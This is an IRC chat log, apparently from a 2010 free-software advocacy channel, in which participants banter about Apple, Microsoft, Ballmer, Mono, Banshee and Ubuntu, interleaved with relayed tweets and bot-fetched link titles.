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| schestowitz | I mean, *good* ones.... like ones from 'fresh' kids | Aug 02 20:03 |
| Chips_B_Malroy | Apple will always be a niche computer as long as Jobs is there. | Aug 02 20:03 |
| MinceR | but it's really worth it for the crApple logo burned into it | Aug 02 20:04 |
| MinceR | Chips_B_Malroy: and it will be a nonexistent one after jobs | Aug 02 20:04 |
| schestowitz | An apple a day didn't keep the doctor away | Aug 02 20:04 |
| MinceR | it seems to take Blow's special kind of insanity to keep the cult going | Aug 02 20:04 |
| Chips_B_Malroy | Apple sells Mac's for many of the same reasons people use Linux. | Aug 02 20:04 |
| MinceR | people use Linux for money? | Aug 02 20:04 |
| *tessier_ gets paid to use Linux | Aug 02 20:04 | |
| *MinceR used to be paid for it, now he sadly isn't | Aug 02 20:05 | |
| _Goblin | schestowitz: sorry mate I was afk....just read your previous. | Aug 02 20:05 |
| MinceR | (though i rebel and i've put a GNU/Linux VM on that machine and use it most of the time) | Aug 02 20:05 |
| schestowitz | _Goblin: cool. | Aug 02 20:05 |
| schestowitz | BTW, remember what I told you about getting attacked if I intervene? | Aug 02 20:05 |
| MinceR | remember how obscure crApple was while Blow was gone | Aug 02 20:05 |
| _Goblin | schestowitz: any particular conspiracy? | Aug 02 20:05 |
| schestowitz | That's just what happened | Aug 02 20:05 |
| schestowitz | _Goblin: doesn't matter | Aug 02 20:05 |
| _Goblin | schestowitz: I think I can guess. | Aug 02 20:06 |
| schestowitz | But it was the same with all sorts of people who misrepresented the site | Aug 02 20:06 |
| _Goblin | schestowitz: Roy, did you get my last email? | Aug 02 20:06 |
| Chips_B_Malroy | because free BSD powered the Mac OS X underneath the hood, which is a close cousin to Linux, it does not have the Malware problems of Windows. IMO this is the number one reason why most people buy Macs. | Aug 02 20:06 |
| schestowitz | Yes, was about to respond, then saw you here | Aug 02 20:06 |
| _Goblin | schestowitz: so now you know my surname (and address) | Aug 02 20:06 |
| schestowitz | Yeah :-) | Aug 02 20:06 |
| schestowitz | Forwarded to the CIA | Aug 02 20:07 |
| schestowitz | With subject line "public enema #1" | Aug 02 20:07 |
| schestowitz | :-)(] | Aug 02 20:07 |
| _Goblin | schestowitz: lol.... I think you are in for a little shock when you meet me! | Aug 02 20:07 |
| schestowitz | Nope | Aug 02 20:07 |
| _Goblin | schestowitz: maybe not....I think you may have guessed what I do. | Aug 02 20:07 |
| _Goblin | schestowitz: not CIA though | Aug 02 20:07 |
| schestowitz | I wanted to have all sorts of funny jobs | Aug 02 20:08 |
| schestowitz | I don't work money, just for what's fun and fascinating | Aug 02 20:08 |
| schestowitz | Never had a job I hated IIRC, and I had like 12 jobs | Aug 02 20:08 |
| _Goblin | schestowitz: since the net is full of dodgy people, I am sending my job and pars to you, so you can check em out prior to meeting me.... | Aug 02 20:08 |
| MinceR | Chips_B_Malroy: if people wanted BSD, they'd use BSD | Aug 02 20:09 |
| MinceR | osx takes away most of the advantages of BSD | Aug 02 20:09 |
| schestowitz | _Goblin: yes, I know | Aug 02 20:09 |
| _Goblin | schestowitz: and as I say, Ive checked with the wife, you can stay here prior to flying if you wish. | Aug 02 20:09 |
| schestowitz | Funny thing is, secret agencies treat IP addresses like secret info | Aug 02 20:09 |
| schestowitz | Like IP ranges | Aug 02 20:09 |
| schestowitz | In Germany too | Aug 02 20:09 |
| Chips_B_Malroy | MinceR> I am not promoting | Aug 02 20:09 |
| MinceR | people use macs because they're iDiots | Aug 02 20:09 |
| Chips_B_Malroy | Mac | Aug 02 20:09 |
| schestowitz | _Goblin: thanks a lot | Aug 02 20:09 |
| MinceR | of course they like to say that it's omg-secure because DURR HURR BSD | Aug 02 20:10 |
| MinceR | then they neglect to mention what crApple did to that code base and how much delay they put into each security update | Aug 02 20:10 |
| schestowitz | I might get to see many Linux rigs too | Aug 02 20:10 |
| schestowitz | ANf the BP rig | Aug 02 20:10 |
| MinceR | after all, security updates aren't marketing-compliant | Aug 02 20:10 |
| -BNtwitter/#boycottnovell-[glynmoody] Discovery, rediscovery, and open access - http://bit.ly/caTSmn fine piece, finely written #openaccess #science | Aug 02 20:10 | |
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| MinceR | hacking Mach into the kernel and claiming that it's a "microkernel" now is marketing-compliant | Aug 02 20:10 |
| schestowitz | brb | Aug 02 20:11 |
| MinceR | stealing BSD code and claiming that now it magically makes the entire system perfectly secure forever is also marketing-compliant | Aug 02 20:11 |
| MinceR | security is not a feature, it's a process | Aug 02 20:11 |
| Chips_B_Malroy | MinceR> what I am saying, is Mac is selling more expensives computers in the USA, because its more secure than Windows. (yes Linux would be even more secure and free) | Aug 02 20:11 |
| MinceR | or at least they say it's more secure than winblows | Aug 02 20:11 |
| MinceR | and that's not why it's selling more of the expensive sector | Aug 02 20:12 |
| Chips_B_Malroy | But if Jobs left, would the next Apple CEO decide to lower the price of Macs, and compete with Microsoft desktop share? | Aug 02 20:12 |
| MinceR | it's because Jesuslandians are stupid, like to waste money (even if they don't have it) and they can actually blow that much cash on a device they don't even know how to use | Aug 02 20:12 |
| MinceR | doesn't matter, crApple would be doomed anyway | Aug 02 20:13 |
| Chips_B_Malroy | In the long run, I agree | Aug 02 20:13 |
| Chips_B_Malroy | But in the short run, not so sure | Aug 02 20:13 |
| MinceR | the next CEO would only get to decide what the punchline will be | Aug 02 20:13 |
| Chips_B_Malroy | What if Mac reduced its price enough to gain 20 or 25% of the USA desktop market? | Aug 02 20:15 |
| Chips_B_Malroy | It has 9 or 10% maybe now | Aug 02 20:15 |
| MinceR | i'm not sure if a reduction in price would gain a significant market share for them | Aug 02 20:16 |
| Chips_B_Malroy | the increase would come from windows users | Aug 02 20:16 |
| Chips_B_Malroy | I believe it would | Aug 02 20:16 |
| MinceR | well, i guess it depends on how the fanboys will rationalize it | Aug 02 20:16 |
| Chips_B_Malroy | at least in the USA market | Aug 02 20:16 |
| MinceR | but i suspect that some of its attraction comes from blowing so much cash on a "computer" and such | Aug 02 20:17 |
| MinceR | if it isn't expensive, it isn't a status symbol | Aug 02 20:17 |
| Chips_B_Malroy | That why my thinking is if Jobs leaves, this is more important than Ballmer leaving | Aug 02 20:17 |
| MinceR | if the barrier to entry is low, the cult is worth less than it is now | Aug 02 20:18 |
| MinceR | well yes, i doubt that ballmer leaving will change much about m$ | Aug 02 20:18 |
| MinceR | except that maybe they'll have a less funny CEO | Aug 02 20:18 |
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| Chips_B_Malroy | I am not a Mac fan, or a Mac OS X fan. But I will say this, for many users, who cannot bother to maintain a virus scanner, they would be better off with Mac, if the only two choices were Mac and Windows | Aug 02 20:19 |
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| MinceR | but there aren't only two choices | Aug 02 20:19 |
| MinceR | people with a clue know this | Aug 02 20:19 |
| MinceR | people with no clue will buy winblows or crApple as usual :> | Aug 02 20:20 |
| Chips_B_Malroy | MinceR> for most people who are not as computer literate as us, these are the only two choices. They go do to Best Buy (that MS ownes some of the stock in) and buy a computer. Do you see Linux there? | Aug 02 20:21 |
| MinceR | dunno | Aug 02 20:21 |
| MinceR | netbooks did provide a boost to GNU/Linux market share, afaik | Aug 02 20:21 |
| Chips_B_Malroy | I had a friend that did this a few years back when XP failed to boot up | Aug 02 20:22 |
| MinceR | but it's certainly possible that the hype will be only about macs being omg-secure | Aug 02 20:22 |
| MinceR | even if many motherboards are sold with quick-boot GNU/Linux on them | Aug 02 20:22 |
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| Chips_B_Malroy | Secure is relative. | Aug 02 20:22 |
| Chips_B_Malroy | As in more secure than windows, but what isn't? | Aug 02 20:22 |
| _Goblin | BTW, Ive been running GhostBSD....Ive been quite impressed..... | Aug 02 20:23 |
| MinceR | then again, while crApple lags with updates, m$ has designed winblows update to make users disable it | Aug 02 20:23 |
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| MinceR | _Goblin: what's GhostBSD about? | Aug 02 20:23 |
| MinceR | draoan: cleaning the keyboard? :> | Aug 02 20:23 |
| MinceR | or is that a cat talking? :> | Aug 02 20:24 |
| Chips_B_Malroy | Goblin>does GhostBSD run well on laptops? | Aug 02 20:24 |
| _Goblin | its based on freebsd on laptops....not sure... | Aug 02 20:24 |
| _Goblin | the DE is Gnome so its an auto winner with me. | Aug 02 20:24 |
| MinceR | oh, it's a FreeBSD livecd | Aug 02 20:24 |
| _Goblin | yeah | Aug 02 20:24 |
| MinceR | focused on selling gnome to bsd users :> | Aug 02 20:25 |
| _Goblin | just wanted to run a distro for Openbytes that was not Ubuntu derived. | Aug 02 20:25 |
| MinceR | there are so many distros that aren't ubuntu-derived :> | Aug 02 20:25 |
| _Goblin | yeah I suppose, but they seem to get mass coverage...I jump on the new ubuntu derived ones and get the "scoop" for Openbytes....i.e Peppermint. | Aug 02 20:26 |
| _Goblin | which is very good... | Aug 02 20:26 |
| _Goblin | I still keep meaning to go back to #!CBL...I was a user a few years ago and very happy with it. | Aug 02 20:27 |
| Chips_B_Malroy | <MinceR> then again, while crApple lags with updates, m$ has designed winblows update to make users disable it" Agreed, the first thing I would do is disable auto updates if I still used it. Letting it run is a sure way to bork the system or have MS phone home all the time. Let someone else beta test all the patches first. | Aug 02 20:27 |
| MinceR | not only that | Aug 02 20:27 |
| MinceR | it also steals the focus, tears apps out of full screen mode and reboots the machine if you aren't there to hold its hands | Aug 02 20:27 |
| Chips_B_Malroy | Peppermint is interesting | Aug 02 20:27 |
| Chips_B_Malroy | it reboots the machine in the middle of burning disks, file transferrs, large downloads, playing movies, etc | Aug 02 20:28 |
| Chips_B_Malroy | in Vista anyway | Aug 02 20:29 |
| MinceR | but not peppermint :> | Aug 02 20:29 |
| Chips_B_Malroy | no, I meant Vista/Seven did those | Aug 02 20:30 |
| MinceR | i know but it could be misleading :) | Aug 02 20:30 |
| -BNtwitter/#boycottnovell-[schestowitz] #Google Drains Microsoft's Coffers, Gets Attacked by #Microsoft Through Regulators (Again) http://ur1.ca/0zheo | Aug 02 20:31 | |
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| Chips_B_Malroy | Myself, when I used to use windows, would rather download the updates and burn them to a disk. That way I did not have to try up the internet on the next reinstall of windows, to patch it up. | Aug 02 20:32 |
| Chips_B_Malroy | *tie | Aug 02 20:32 |
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| Chips_B_Malroy | Also the day will come when the mighty M$ servers will go down for good | Aug 02 20:33 |
| schestowitz | The fatpigbear is back | Aug 02 20:33 |
| MinceR | manbearpig? | Aug 02 20:33 |
| schestowitz | Yeah, something like that | Aug 02 20:34 |
| schestowitz | It's not a man though | Aug 02 20:34 |
| MinceR | right | Aug 02 20:34 |
| DaemonFC | Jabba? | Aug 02 20:34 |
| schestowitz | Jabba beans | Aug 02 20:35 |
| schestowitz | Chop chop chop | Aug 02 20:35 |
| MinceR | what does that mean in Huttese? | Aug 02 20:36 |
| DaemonFC | http://a.imageshack.us/img51/982/20100802152815.jpg | Aug 02 20:36 |
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| DaemonFC | Ho Ho Ho!!! | Aug 02 20:36 |
| DaemonFC | Rahsa Dabba Goa Nola Wookie Nipple Pinchy!!! | Aug 02 20:36 |
| DaemonFC | B-) | Aug 02 20:37 |
| DaemonFC | Bring me Solo and a cookie! | Aug 02 20:37 |
| DaemonFC | :D | Aug 02 20:37 |
| -BNtwitter/#boycottnovell-[jonobacon] Great to see @abock and his work on Banshee and the Amazon MP3 store - http://is.gd/dYOlf #gnome #banshee | Aug 02 20:38 | |
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| DaemonFC | heh | Aug 02 20:38 |
| DaemonFC | schestowitz, Now jono is advertising Banshee and Mono and an MP3 store with a Microsoft patent deal | Aug 02 20:39 |
| DaemonFC | in your room | Aug 02 20:39 |
| DaemonFC | :) | Aug 02 20:39 |
| schestowitz | *LOL* | Aug 02 20:39 |
| schestowitz | Whao | Aug 02 20:39 |
| schestowitz | 1) | Aug 02 20:39 |
| -BNtwitter/#boycottnovell-[jonobacon] Interview with Lennart about Pulseaudio and systemd - http://is.gd/dYOuf | Aug 02 20:39 | |
| schestowitz | Mp3 = mpeg cartel | Aug 02 20:39 |
| schestowitz | Amazon- rhel tax | Aug 02 20:39 |
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| schestowitz | 3) Fog computingh | Aug 02 20:40 |
| DaemonFC | there's nothing wrong with RHEL | Aug 02 20:40 |
| schestowitz | 4) MAFIAA 'content' | Aug 02 20:40 |
| schestowitz | 5) Novell | Aug 02 20:40 |
| DaemonFC | Red Hat's not paying the tax on it | Aug 02 20:40 |
| DaemonFC | Amazon is | Aug 02 20:40 |
| schestowitz | 6) Mono trap (Banshee) | Aug 02 20:40 |
| schestowitz | ... | Aug 02 20:40 |
| schestowitz | ANd so on... | Aug 02 20:40 |
| schestowitz | DaemonFC: yes, same effect | Aug 02 20:40 |
| schestowitz | Amazon plays along with it | Aug 02 20:40 |
| schestowitz | It doesn't have to | Aug 02 20:40 |
| schestowitz | But it does cause it's filled with Microsoft cronies after some hires | Aug 02 20:40 |
| DaemonFC | well, how does that make Red Hat responsible for something Amazon chooses to pay? | Aug 02 20:40 |
| schestowitz | Let me write to jono... | Aug 02 20:41 |
| Chips_B_Malroy | http://www.rethink-wireless.com/2010/08/02/ballmer-dismisses-weird-collection-android-tablets.htm | Aug 02 20:41 |
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| DaemonFC | schestowitz, I got a couple of free MP3 of the day things out of Banshee from Amazon :P | Aug 02 20:41 |
| Chips_B_Malroy | "Windows 7 tablets are expected from various vendors in time for the holiday buying season, but the upcoming Windows Phone 7 has not, as yet at least, been targeted as a slate OS. Ballmer said it was suited to devices with screens of four inches or less, not tablets." | Aug 02 20:42 |
| -BNtwitter/#boycottnovell-[schestowitz] @jonobacon you promote MPEG-LA, RHEL Microsoft patent tax (Amazon), Fog computing, MAFIAA 'content', Nov … http://identi.ca/notice/44825772 | Aug 02 20:42 | |
| Chips_B_Malroy | FAIL | Aug 02 20:42 |
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| schestowitz | I just posted "@jonobacon you promote MPEG-LA, RHEL Microsoft patent tax (Amazon), Fog computing, MAFIAA 'content', Novell and Mono patent trap all at once" | Aug 02 20:42 |
| schestowitz | DaemonFC: you could tell him something too via Twitter | Aug 02 20:43 |
| MinceR | it's just "amazon m$ patent tax" | Aug 02 20:43 |
| MinceR | RH has nothing to do with it | Aug 02 20:43 |
| DaemonFC | right | Aug 02 20:44 |
| schestowitz | MinceR: I didn't pay careful attention to it | Aug 02 20:44 |
| MinceR | unlike canonical, they actually resist that patent FUD and mono | Aug 02 20:44 |
| schestowitz | Just quickly pasted my thoughts from IRC cause he ain't here | Aug 02 20:44 |
| DaemonFC | MinceR, If I sell you a car and then you choose to pay a finance company that had nothing to do with the deal a monthly fee | Aug 02 20:44 |
| DaemonFC | well, same deal | Aug 02 20:44 |
| Chips_B_Malroy | As usual, MS waits for Intel to bail them out. "Ballmer said the future release of Intel's Atom system-on-chip, Oak Trail, which will reach OEMs in early 2011, will be important to tablet progress as it promises a 50% reduction in power on key apps like HD video, and will enable lighter, smaller devices. These Oak Trail products will initially run Windows 7 or the Intel/Nokia OS MeeGo, but other expected targets are | Aug 02 20:44 |
| Chips_B_Malroy | Google's Chrome OS, which aims to spawn a new wave of 'devices as browsers' called cloudbooks." | Aug 02 20:44 |
| DaemonFC | why is it my fault you're stupid enough to pay someone else on a car you bought from me and own? | Aug 02 20:44 |
| DaemonFC | :) | Aug 02 20:44 |
| DaemonFC | it's not | Aug 02 20:45 |
| DaemonFC | and why should I care what you do? | Aug 02 20:45 |
| MinceR | i thought there already was a Cloudbook | Aug 02 20:45 |
| DaemonFC | yeah, Microsoft is already telling 3rd party developers to hook into the Microsoft MPEG 4 Directshow filter | Aug 02 20:46 |
| DaemonFC | that way Microsoft's "patent license" extends to their now Windows-only software | Aug 02 20:46 |
| DaemonFC | :) | Aug 02 20:46 |
| DaemonFC | it also means that any security problems in Directshow are now your problem | Aug 02 20:47 |
| DaemonFC | and you can't fix them | Aug 02 20:47 |
| DaemonFC | B-) | Aug 02 20:47 |
| DaemonFC | Microsoft points out that they've been working the bugs out of that codec for years and it's fine now | Aug 02 20:47 |
| DaemonFC | but it's not just the codec that could be a security problem | Aug 02 20:48 |
| DaemonFC | it's the entire framework | Aug 02 20:48 |
| schestowitz | Oh noes, DaemonFC floods the channel with MS product names | Aug 02 20:49 |
| schestowitz | Things I hardly even heard of... | Aug 02 20:49 |
| DaemonFC | Bob | Aug 02 20:49 |
| DaemonFC | :) | Aug 02 20:49 |
| schestowitz | kes | Aug 02 20:49 |
| DaemonFC | Bob is a vibrant platform | Aug 02 20:50 |
| _Goblin | Hi DaemonFC ! | Aug 02 20:50 |
| DaemonFC | with lots of third party developer support | Aug 02 20:50 |
| DaemonFC | it's also quite stable | Aug 02 20:50 |
| schestowitz | DaemonFC: third class you mean? | Aug 02 20:50 |
| schestowitz | Bob had a successor | Aug 02 20:50 |
| schestowitz | The dog in XP search | Aug 02 20:50 |
| DaemonFC | does Bob run on Wine? | Aug 02 20:50 |
| -BNtwitter/#boycottnovell-[zoobab] Inventions which rely on embedded software [...] should remain patentable: http://ur1.ca/0zhji | Aug 02 20:50 | |
| DaemonFC | yeah | Aug 02 20:50 |
| MinceR | third-rate | Aug 02 20:50 |
| TechrightsBot | Title: Commerce minister clarifies position on patentability of computer programs - International Law Office .::. Size~: 18.13 KB | Aug 02 20:50 |
| schestowitz | I think Microsoft put that dog 'to sleep' | Aug 02 20:50 |
| MinceR | turd party developer support | Aug 02 20:50 |
| DaemonFC | yeah, the dog was disappeared as of Vista | Aug 02 20:51 |
| schestowitz | ANd around Vista time Microsoft also boasted some attractive female as interface | Aug 02 20:51 |
| schestowitz | Nothing came out of that, ever | Aug 02 20:51 |
| DaemonFC | Microsoft is offering a reward | Aug 02 20:51 |
| DaemonFC | even though they know what happened to it | Aug 02 20:51 |
| DaemonFC | :) | Aug 02 20:51 |
| schestowitz | Just vapourware, I think voice input stuff | Aug 02 20:51 |
| schestowitz | Microsoft is offering a reward - Windows uninstall option? | Aug 02 20:51 |
| DaemonFC | you notice how voice input is barely even mentioned anywhere in Windows 7? | Aug 02 20:51 |
| DaemonFC | :) | Aug 02 20:51 |
| DaemonFC | they couldn't fix it so they buried it | Aug 02 20:51 |
| schestowitz | Hey, does Microsoft give guidance on how to remove Windows? | Aug 02 20:51 |
| schestowitz | It does that with Linux | Aug 02 20:51 |
| schestowitz | But it wants people to assume Windows is part of the "PC" | Aug 02 20:52 |
| DaemonFC | but the support files are still there because they have to support their mistake | Aug 02 20:52 |
| schestowitz | Let's see if I can find instructions | Aug 02 20:52 |
| -BNtwitter/#boycottnovell-[jonobacon] @schestowitz: not really, I was promoting an awesome end-user experience for listening to music in Banshee. :-) | Aug 02 20:52 | |
| schestowitz | http://www.google.com/search?hl=&q=how+to+remove+windows&sourceid=navclient-ff&rlz=1B5GGGL_enGB315GB316&ie=UTF-8 | Aug 02 20:52 |
| TechrightsBot | Title: how to remove windows - Google Search .::. Size~: 49.41 KB | Aug 02 20:52 |
| schestowitz | *LOL* | Aug 02 20:52 |
| DaemonFC | yeah, the KB article where it's like how to remove Linux and go to Windows XP | Aug 02 20:52 |
| schestowitz | remove... and INSTALL WIndows<version> | Aug 02 20:52 |
| MinceR | thankfully GNU/Linux install images tend to offer help with disinfecting a PC of winblows | Aug 02 20:52 |
| MinceR | "use entire disk" | Aug 02 20:53 |
| Chips_B_Malroy | DBAN is best way to remove Windows | Aug 02 20:53 |
| -BNtwitter/#boycottnovell-[jonobacon] Have any other Maverick users noticed that Gwibber has lost it's scrollbars? | Aug 02 20:53 | |
| -BNtwitter/#boycottnovell-[zoobab] A program that is not tied to a machine might not be patentable, but you should be safe if it's tied to a computer http://ur1.ca/0zhk3 | Aug 02 20:53 | |
| TechrightsBot | Title: Bilski: Perhaps Not Much Of A Game Changer After All .::. Size~: 31.3 KB | Aug 02 20:53 |
| Chips_B_Malroy | cleans out those nasty boot viruses | Aug 02 20:53 |
| Chips_B_Malroy | *nasty windows boot viruses | Aug 02 20:54 |
| -BNtwitter/#boycottnovell-[schestowitz] @jonobacon why not something that is not co-developed with Microsoft (Mono) and has Microsoft's MCP threaten its existence in Ubuntu? | Aug 02 20:54 | |
| -BNtwitter/#boycottnovell-[daemonfc] @jonobacon apt-get purge mono-common | Aug 02 20:54 | |
| -BNtwitter/#boycottnovell-[jonobacon] @schestowitz: do you have another solution to find the same catalog of music available in Ogg format in a non-Mono app? | Aug 02 20:57 | |
| -BNtwitter/#boycottnovell-[daemonfc] @jonobacon apt-get purge lazy then buy the CD B-) | Aug 02 20:59 | |
| -BNtwitter/#boycottnovell-[daemonfc] @jonobacon: Can you direct me to the nearest used MP3 store? :) | Aug 02 21:00 | |
| -BNtwitter/#boycottnovell-[_goblin] Thanks for all the feedback re: ACS:Law....appreciated. | Aug 02 21:01 | |
| -BNtwitter/#boycottnovell-[daemonfc] @jonobacon they have those $5 specials on Amazon as a gimmick, but they're almost always crap. | Aug 02 21:02 | |
| -BNtwitter/#boycottnovell-[jonobacon] To clarify folks, I mean a vertical scroll bar at the right of each stream... | Aug 02 21:03 | |
| -BNtwitter/#boycottnovell-[schestowitz] @jonobacon Ubuntu had a nice drive you led for free culture (IIRC). There are good sites/services for CC content worth promoting | Aug 02 21:03 | |
| DaemonFC | free culture is a front at Ubuntu designed to trap them in proprietary software like Ubuntu One | Aug 02 21:04 |
| DaemonFC | watch what happens if you fork Ubuntu and have Ubuntu in the name | Aug 02 21:05 |
| -BNtwitter/#boycottnovell-[schestowitz] @jonobacon I think it's OK to have options like Skype/Amazon for people who demand these, but to promote/publicise them isn't worth time | Aug 02 21:05 | |
| DaemonFC | or use some of their artwork | Aug 02 21:05 |
| schestowitz | Not the trademarked logo | Aug 02 21:06 |
| DaemonFC | they can't do anything to you for taking the code because they didn't produce even 1% of it themselves | Aug 02 21:06 |
| DaemonFC | and are bound by the original licenses | Aug 02 21:06 |
| Chips_B_Malroy | http://www.rethink-wireless.com/2010/08/02/ballmer-dismisses-weird-collection-android-tablets.htm | Aug 02 21:07 |
| TechrightsBot | Title: Ballmer dismisses "weird collection" of Android tablets - Rethink Wireless .::. Size~: 39.44 KB | Aug 02 21:07 |
| Chips_B_Malroy | I don't know DaemonFC. But I give Mark Shuttleworth the benefit of the doubt, and think he really does want to do something for people. Not all rich people are evil. | Aug 02 21:08 |
| -BNtwitter/#boycottnovell-[jonobacon] @schestowitz: you didn't answer my question: tell me a comparable service and catalog availability that prevents the issues you raised... | Aug 02 21:08 | |
| -BNtwitter/#boycottnovell-[jonobacon] @schestowitz: my point is...where can I download the new Iron Maiden album within my media player and avoid the problems you listed? | Aug 02 21:09 | |
| -BNtwitter/#boycottnovell-[daemonfc] @jonobacon RIAAbuntu? | Aug 02 21:09 | |
| Chips_B_Malroy | http://www.sfgate.com/cgi-bin/article.cgi?f=/g/a/2010/08/02/businessinsider-when-will-a-microsoft-tablet-come-out-2010-08.DTL | Aug 02 21:10 |
| TechrightsBot | Title: Microsoft Won't Get Into The Tablet Game For Another Whole Year (MSFT, INTC, GOOG, AAPL) .::. Size~: 113.33 KB | Aug 02 21:10 |
| MinceR | 220203 -BNtwitter:#boycottnovell- [jonobacon] @schestowitz: my point is...where can I download the new Iron Maiden album within my media player and avoid the problems you listed? | Aug 02 21:10 |
| MinceR | Bitorrent. | Aug 02 21:10 |
| MinceR | BitTorrent. | Aug 02 21:10 |
| DaemonFC | they're waiting for Intel to hardware accelerate proprietary codecs and optimize the CPU for Windows | Aug 02 21:10 |
| -BNtwitter/#boycottnovell-[jonobacon] Folks, come and join us in the #severedfifth IRC channel - some awesome Free Culture folks there - http://is.gd/dYR2J | Aug 02 21:10 | |
| MinceR | ;) | Aug 02 21:10 |
| DaemonFC | yay | Aug 02 21:10 |
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| Chips_B_Malroy | " | Aug 02 21:11 |
| Chips_B_Malroy | Because Oak Trail isn't coming until early 2011, Mary Jo Foley at ZDNet points out, that means it's going to be a few quarters before hardware makers are putting Oak Trail chips in devices. | Aug 02 21:11 |
| Chips_B_Malroy | Read more: http://www.sfgate.com/cgi-bin/article.cgi?f=/g/a/2010/08/02/businessinsider-when-will-a-microsoft-tablet-come-out-2010-08.DTL#ixzz0vUbLcz8I | Aug 02 21:11 |
| TechrightsBot | Title: Microsoft Won't Get Into The Tablet Game For Another Whole Year (MSFT, INTC, GOOG, AAPL) .::. Size~: 108.34 KB | Aug 02 21:11 |
| -BNtwitter/#boycottnovell-[schestowitz] @jonobacon fair point, but a red herring; I think we should say to users, "hey, there's this cool service for lesser-know bands, CC" | Aug 02 21:11 | |
| Chips_B_Malroy | " | Aug 02 21:12 |
| Chips_B_Malroy | Because Oak Trail isn't coming until early 2011, Mary Jo Foley at ZDNet points out, that means it's going to be a few quarters before hardware makers are putting Oak Trail chips in devices. | Aug 02 21:12 |
| Chips_B_Malroy | late to the party | Aug 02 21:12 |
| Chips_B_Malroy | Ballmer is | Aug 02 21:12 |
| DaemonFC | a day late and $5 billion in imaginary sales later? | Aug 02 21:13 |
| -BNtwitter/#boycottnovell-[schestowitz] @jonobacon what we want to do is advance ambitious bands like yours and cut the middlemen. We can't do it by defending the Old Guard. | Aug 02 21:13 | |
| DaemonFC | Enron the software company | Aug 02 21:13 |
| DaemonFC | yeah, I liked how Microsoft dealt with plugging up the drop off in Windows Vista sales by having those $50 preorders for Windows 7 | Aug 02 21:14 |
| -BNtwitter/#boycottnovell-[jonobacon] @schestowitz: agreed, but we can't just point to CC bands, much as that would be cool - users want content from mainstream acts and (1/2) | Aug 02 21:14 | |
| DaemonFC | then deferring the revenue until Windows 7 launched so it looked like all those sales came at once | Aug 02 21:14 |
| schestowitz | Same in Vista 7 | Aug 02 21:15 |
| schestowitz | Revenue/profit down 40% | Aug 02 21:15 |
| -BNtwitter/#boycottnovell-[jonobacon] @schestowitz: you criticized the service Banshee offers while providing no alternative, so what do users do? not access the content? (2/2) | Aug 02 21:15 | |
| schestowitz | Then the following quarter: "BOOM!!! Wow, it SellsLikeHotCakes(R)" | Aug 02 21:15 |
| schestowitz | Their lousy booster in CNET says it | Aug 02 21:15 |
| schestowitz | Ina Fried | Aug 02 21:16 |
| -BNtwitter/#boycottnovell-[schestowitz] @jonobacon is there really no other front end for it? How about B? | Aug 02 21:17 | |
| schestowitz | http://www.linuxinsider.com/rsstory/70529.html | Aug 02 21:17 |
| TechrightsBot | Title: Linux News: Community: Ubuntu's Wild Ride on the Dell Roller Coaster .::. Size~: 55.46 KB | Aug 02 21:17 |
| schestowitz | Ubuntu- if you don't like it, you still have a coaster with semi-naked people in it :-) | Aug 02 21:18 |
| Chips_B_Malroy | Most of the increase in Profits are not from Windows Seven selling like hotcakes, it is from Cost Cutting Layoffs and discontinued projects/software. | Aug 02 21:19 |
| schestowitz | http://www.h-online.com/security/news/item/Android-rootkit-demonstrated-1049183.html | Aug 02 21:19 |
| TechrightsBot | Title: Android rootkit demonstrated - The H Security: News and Features .::. Size~: 36.9 KB | Aug 02 21:19 |
| schestowitz | Chips_B_Malroy: "if hot cakes were sold like VIsta 7........." | Aug 02 21:19 |
| schestowitz | You would cook them and wait another 2 months before selling them | Aug 02 21:20 |
| schestowitz | Unlike say... Ubuntu which was released hours within last, final changed (or shortly after 90th-minute fix) | Aug 02 21:20 |
| schestowitz | You would stop selling any cakes for a month before a new type comes | Aug 02 21:21 |
| schestowitz | If you order a bagel it still counts as a hot cake | Aug 02 21:21 |
| schestowitz | But you don't need to buy it either | Aug 02 21:21 |
| Chips_B_Malroy | MS cannot seem to move off XP | Aug 02 21:21 |
| schestowitz | If you buy a bottle of milk, then a cup cake comes with it | Aug 02 21:21 |
| MinceR | rather, m$'s customers can't | Aug 02 21:21 |
| schestowitz | And you're already paid for it | Aug 02 21:21 |
| schestowitz | And if you choose not to have it, then it's the same price | Aug 02 21:22 |
| schestowitz | The cup cake is said to be more secure | Aug 02 21:22 |
| schestowitz | And it's like debt really... you don't own the cake you eat | Aug 02 21:22 |
| schestowitz | It's taken from the future | Aug 02 21:22 |
| schestowitz | And extrapolates so as to tell you how much you'd eat if you had worked for another 10 years :-) | Aug 02 21:23 |
| schestowitz | Microsoft- the mortgage of software | Aug 02 21:23 |
| Chips_B_Malroy | Could it be that DRM is the root of all evil in Vista/7 that helps keep users on XP? Where are all the cpu cycles going in Vista/7, if not for DRM? The fact that Vista/7 is a power and memory hog is giving Android and Apple the Tablet market. | Aug 02 21:23 |
| schestowitz | "DRM is the future."- Ballmer | Aug 02 21:24 |
| schestowitz | Just make sure Ballmer stays | Aug 02 21:24 |
| schestowitz | Then "Cancer" will take over | Aug 02 21:24 |
| Chips_B_Malroy | But Ballmer is not the future. | Aug 02 21:24 |
| _Goblin | He's about the only entertaining thing with Microsoft though.... | Aug 02 21:25 |
| MinceR | it's more than just DRM | Aug 02 21:25 |
| Chips_B_Malroy | Its too later for Ballmer, as much as we would like him to stay and kill MS. | Aug 02 21:25 |
| MinceR | most users don't seem to care about DRM | Aug 02 21:25 |
| _Goblin | I will be sorry to see him go... | Aug 02 21:25 |
| Chips_B_Malroy | Yes, he is worth a few laughs. | Aug 02 21:25 |
| _Goblin | he's sort of the Duke of Edinburg of Microsoft | Aug 02 21:25 |
| Chips_B_Malroy | He will not go far, not to worry | Aug 02 21:25 |
| _Goblin | always dropping a clanger | Aug 02 21:25 |
| Chips_B_Malroy | Wasn't it Bush that was going offer Ballmer a job as an Ambassator? | Aug 02 21:26 |
| -BNtwitter/#boycottnovell-[jonobacon] @schestowitz: while I am all in favor of advancing bands like #severedfifth, the original music industry is not going away | Aug 02 21:26 | |
| -BNtwitter/#boycottnovell-[jonobacon] @schestowitz: front end for what? | Aug 02 21:26 | |
| Chips_B_Malroy | At least that way we could get Ballmer out of the country | Aug 02 21:27 |
| MinceR | it was McBush | Aug 02 21:27 |
| Chips_B_Malroy | ah | Aug 02 21:27 |
| MinceR | and if you want ballmer out of the company, offer him a job as an astronaut | Aug 02 21:27 |
| MinceR | and forget to bring him back | Aug 02 21:27 |
| MinceR | (that's what they should have done to simonyi too) | Aug 02 21:27 |
| MinceR | s/company/country/ | Aug 02 21:27 |
| MinceR | (not that there's a lot of a difference) | Aug 02 21:27 |
